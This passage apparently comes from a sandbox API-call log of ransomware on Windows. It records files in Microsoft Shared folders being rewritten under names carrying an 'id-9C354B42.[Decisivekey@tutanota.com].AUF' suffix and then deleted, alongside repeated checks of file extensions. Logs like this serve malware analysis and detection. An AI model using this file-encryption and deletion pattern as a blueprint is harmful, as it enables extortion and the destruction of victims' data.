lpString2=".XSL") returned -1 [0211.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.833] lstrlenW (lpString=".jpg") returned 4 [0211.833] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0211.833] lstrcmpiW (lpString1=".emf", lpString2=".AUF") returned 1 [0211.833] lstrlenW (lpString="Genko_2.emf") returned 11 [0211.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.871] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=10340) returned 1 [0211.871] CloseHandle (hObject=0x1e0) returned 1 [0211.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0211.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".doc") returned 4 [0211.872] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.872] lstrlenW (lpString=".docx") returned 5 [0211.872] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0211.872] lstrlenW (lpString=".pdf") returned 4 [0211.872] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString=".xls") returned 4 [0211.872] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString=".xlsx") returned 5 [0211.872] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0211.872] lstrlenW (lpString=".ppt") returned 4 [0211.872] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".zip") returned 4 [0211.872] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString=".rar") returned 4 [0211.872] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString=".bz2") returned 4 [0211.872] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.872] lstrlenW (lpString=".7z") returned 3 [0211.872] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".dbf") returned 4 [0211.872] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".1cd") returned 4 [0211.872] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".jpg") returned 4 [0211.872] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".doc") returned 4 [0211.872] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.872] lstrlenW (lpString=".docx") returned 5 [0211.872] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0211.872] lstrlenW (lpString=".pdf") returned 4 [0211.872] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString=".xls") returned 4 [0211.872] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString=".xlsx") returned 5 [0211.872] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0211.872] lstrlenW (lpString=".ppt") returned 4 [0211.872] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.872] lstrlenW (lpString=".zip") returned 4 [0211.872] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.873] lstrlenW (lpString=".rar") returned 4 [0211.873] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.873] lstrlenW (lpString=".bz2") returned 4 [0211.873] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.873] lstrlenW (lpString=".7z") returned 3 [0211.873] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.873] lstrlenW (lpString=".dbf") returned 4 [0211.873] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.873] lstrlenW (lpString=".1cd") returned 4 [0211.873] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0211.873] lstrlenW (lpString=".jpg") returned 4 [0211.873] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.873] lstrcmpiW (lpString1=".htm", lpString2=".AUF") returned 1 [0211.873] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0211.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.914] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=237) returned 1 [0211.914] CloseHandle (hObject=0x1e8) returned 1 [0211.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0211.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.914] lstrlenW (lpString=".doc") returned 4 [0211.914] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.914] lstrlenW (lpString=".docx") returned 5 [0211.914] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0211.914] lstrlenW (lpString=".pdf") returned 4 [0211.914] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.914] lstrlenW (lpString=".xls") returned 4 [0211.914] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.914] lstrlenW (lpString=".xlsx") returned 5 [0211.914] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0211.914] lstrlenW (lpString=".ppt") returned 4 [0211.914] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.914] lstrlenW (lpString=".zip") returned 4 [0211.914] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.914] lstrlenW (lpString=".rar") returned 4 [0211.914] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.914] lstrlenW (lpString=".bz2") returned 4 [0211.914] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.914] lstrlenW (lpString=".7z") returned 3 [0211.914] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".dbf") returned 4 [0211.915] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".1cd") returned 4 [0211.915] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".jpg") returned 4 [0211.915] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".doc") returned 4 [0211.915] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.915] lstrlenW (lpString=".docx") returned 5 [0211.915] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0211.915] lstrlenW (lpString=".pdf") returned 4 [0211.915] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.915] lstrlenW (lpString=".xls") returned 4 [0211.915] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.915] lstrlenW (lpString=".xlsx") returned 5 [0211.915] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0211.915] lstrlenW (lpString=".ppt") returned 4 [0211.915] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".zip") returned 4 [0211.915] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.915] lstrlenW (lpString=".rar") returned 4 [0211.915] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.915] lstrlenW (lpString=".bz2") returned 4 [0211.915] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.915] lstrlenW (lpString=".7z") returned 3 [0211.915] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".dbf") returned 4 [0211.915] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".1cd") returned 4 [0211.915] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0211.915] lstrlenW (lpString=".jpg") returned 4 [0211.915] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.915] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0211.915] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0211.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.243] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=19780) returned 1 [0212.243] CloseHandle (hObject=0x168) returned 1 [0212.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0212.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.243] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.243] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.244] GetLastError () returned 0x0 [0212.244] ReadFile (in: hFile=0x168, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0212.252] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0212.252] ReadFile (in: hFile=0x168, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.252] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.253] SetEndOfFile (hFile=0x1e4) returned 1 [0212.253] CloseHandle (hObject=0x1e4) returned 1 [0212.253] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.253] SetEndOfFile (hFile=0x168) returned 1 [0212.254] CloseHandle (hObject=0x168) returned 1 [0212.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.254] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0212.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.254] lstrlenW (lpString=".doc") returned 4 [0212.254] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.254] lstrlenW (lpString=".docx") returned 5 [0212.254] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.254] lstrlenW (lpString=".pdf") returned 4 [0212.255] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.255] lstrlenW (lpString=".xls") returned 4 [0212.255] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.255] lstrlenW (lpString=".xlsx") returned 5 [0212.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.255] lstrlenW (lpString=".ppt") returned 4 [0212.255] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.255] lstrlenW (lpString=".zip") returned 4 [0212.255] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.255] lstrlenW (lpString=".rar") returned 4 [0212.255] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.255] lstrlenW (lpString=".bz2") returned 4 [0212.255] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.255] lstrlenW (lpString=".7z") returned 3 [0212.255] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.255] lstrlenW (lpString=".dbf") returned 4 [0212.255] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.255] lstrlenW (lpString=".1cd") returned 4 [0212.255] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.255] lstrlenW (lpString=".jpg") returned 4 [0212.255] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.256] lstrlenW (lpString=".doc") returned 4 [0212.256] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.256] lstrlenW (lpString=".docx") returned 5 [0212.256] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.256] lstrlenW (lpString=".pdf") returned 4 [0212.256] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.256] lstrlenW (lpString=".xls") returned 4 [0212.256] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.256] lstrlenW (lpString=".xlsx") returned 5 [0212.256] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.256] lstrlenW (lpString=".ppt") returned 4 [0212.256] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.256] lstrlenW (lpString=".zip") returned 4 [0212.269] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.273] lstrlenW (lpString=".rar") returned 4 [0212.273] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.273] lstrlenW (lpString=".bz2") returned 4 [0212.273] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.273] lstrlenW (lpString=".7z") returned 3 [0212.273] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.273] lstrlenW (lpString=".dbf") returned 4 [0212.273] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.273] lstrlenW (lpString=".1cd") returned 4 [0212.273] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0212.273] lstrlenW (lpString=".jpg") returned 4 [0212.273] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.273] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.273] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.274] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1560) returned 1 [0212.274] CloseHandle (hObject=0x168) returned 1 [0212.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0212.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.274] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.274] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0212.412] GetLastError () returned 0x0 [0212.412] ReadFile (in: hFile=0x168, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x618, lpOverlapped=0x0) returned 1 [0212.435] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x620, lpOverlapped=0x0) returned 1 [0212.435] ReadFile (in: hFile=0x168, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.435] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.436] SetEndOfFile (hFile=0x1f0) returned 1 [0212.436] CloseHandle (hObject=0x1f0) returned 1 [0212.436] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.436] SetEndOfFile (hFile=0x168) returned 1 [0212.436] CloseHandle (hObject=0x168) returned 1 [0212.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.437] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.437] lstrlenW (lpString=".doc") returned 4 [0212.437] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.437] lstrlenW (lpString=".docx") returned 5 [0212.437] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.437] lstrlenW (lpString=".pdf") returned 4 [0212.437] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.437] lstrlenW (lpString=".xls") returned 4 [0212.437] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.437] lstrlenW (lpString=".xlsx") returned 5 [0212.437] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.437] lstrlenW (lpString=".ppt") returned 4 [0212.437] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.437] lstrlenW (lpString=".zip") returned 4 [0212.437] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.437] lstrlenW (lpString=".rar") returned 4 [0212.437] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.437] lstrlenW 